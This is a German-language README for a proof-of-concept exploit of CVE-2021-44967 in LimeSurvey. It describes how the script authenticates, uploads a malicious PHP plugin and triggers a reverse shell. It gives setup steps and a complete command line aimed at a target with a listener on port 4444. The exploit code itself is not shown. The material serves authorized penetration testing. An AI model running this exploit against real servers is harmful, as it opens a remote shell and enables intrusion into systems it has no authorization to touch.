
Proof-of-Concept-Exploit für CVE-2021-44967, der Remote-Codeausführung in LimeSurvey 5.2.4 durch das Hochladen eines bösartigen Plugins ermöglicht, mit Reverse-Shell-Funktionalität.
Proof of Concept für CVE-2021-44967. Das Skript authentifiziert sich bei LimeSurvey, lädt ein PHP-Plugin hoch und aktiviert es und löst eine Reverse Shell aus.
Verwende dies nur gegen Systeme, die dir gehören oder für deren Test du autorisiert bist.
beautifulsoup4, netifaces und requestsnc verfügbar in PATHErstelle eine isolierte Umgebung und installiere die Python-Pakete:
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
--listen-ip akzeptiert eine IPv4-Adresse oder einen Schnittstellennamen und verwendet standardmäßig tun0. Wenn --file weggelassen wird, lädt das Skript die Pentestmonkey PHP Reverse Shell herunter und konfiguriert sie mit der Listener-Adresse. Übergib --file payload.php, um stattdessen eine lokale PHP-Payload bereitzustellen.
Führe python3 limesurvey_rce.py --help aus, um alle Optionen anzuzeigen, einschließlich Proxy- und benutzerdefinierter User-Agent-Einstellungen.
Der Exploit wurde gegen LimeSurvey Community Edition 6.6.4 getestet. Der CVE-Eintrag beschreibt das Problem in LimeSurvey 5.2.4.